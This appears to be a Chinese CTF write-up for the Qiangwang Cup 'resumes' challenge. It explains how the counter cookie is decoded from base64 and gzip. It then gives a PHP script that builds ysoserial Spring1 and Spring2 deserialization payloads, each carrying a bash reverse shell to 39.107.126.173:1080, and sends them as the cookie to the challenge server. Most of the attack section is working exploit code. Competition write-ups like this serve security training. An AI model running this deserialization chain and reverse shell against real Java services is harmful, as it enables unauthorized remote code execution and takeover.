强网杯个人赛-resumes-Writeup
- 题目提示70亿次,应该读取到第70亿就可以得到flag,测试发现GET请求就会返回下一个简历的Cookie
Cookie解密
- 百度发现H4SIAAAAA开头的BASE64都是base64编码Gzip之后的结果。
- 于是逆过来解码,发现最后一位十六进制就是当前简历位数。脚本解码保存到文件010修改,再次编码即可。
<?php
$flag = "H4sIAAAAAAAAAFvzloG1uIhBNzk/V68otbg0N7UYg87NT0nN0QsC85zzS/NKgt9/nfvHul6ZiYHRi4G1LDGnNLWigAECtADGk+TeUgAAAA==";
$flag = base64_decode($flag);
file_put_contents("flag", gzdecode($flag));
?>
- 下一步提示在/opt中,这指定是要Getshe l l,cookie就是一个java序列化之后的结果,我们直接在cookie处进行反序列化。由于不知道是哪条链随便用ysoserial整了个gadget出来打发现可以识别出来模块,说明就是这里反序列化没跑了。
<?php
//$flag = "H4sIAAAAAAAAAFvzloG1uIhBNzk/V68otbg0N7UYg87NT0nN0QsC85zzS/NKgt9/nfvHul6ZiYHRi4G1LDGnNLWigAECtADGk+TeUgAAAA==";
//$flag = base64_decode($flag);
//file_put_contents("flag", gzdecode($flag));
$a = ['Spring1','Spring2'];
for($i=0;$i<count($a);$i++){
unlink('payload.bin');
@shell_exec(sprintf("java -jar ysoserial.jar %s bash 'bash -i >& /dev/tcp/39.107.126.173/1080 0>&1'> payload.bin",$a[$i]));
$cookie = base64_encode(gzencode(file_get_contents('payload.bin')));
echo geturl($cookie)."\n\n\n\n\n";
}
function geturl($cookie){
$headerArray =array("Content-type:application/json;","Accept:application/json","Cookie: counter=$cookie");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://124.71.156.217:32770");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray);
$output = curl_exec($ch);
curl_close($ch);
$output = $output;
return $output;
}
?>
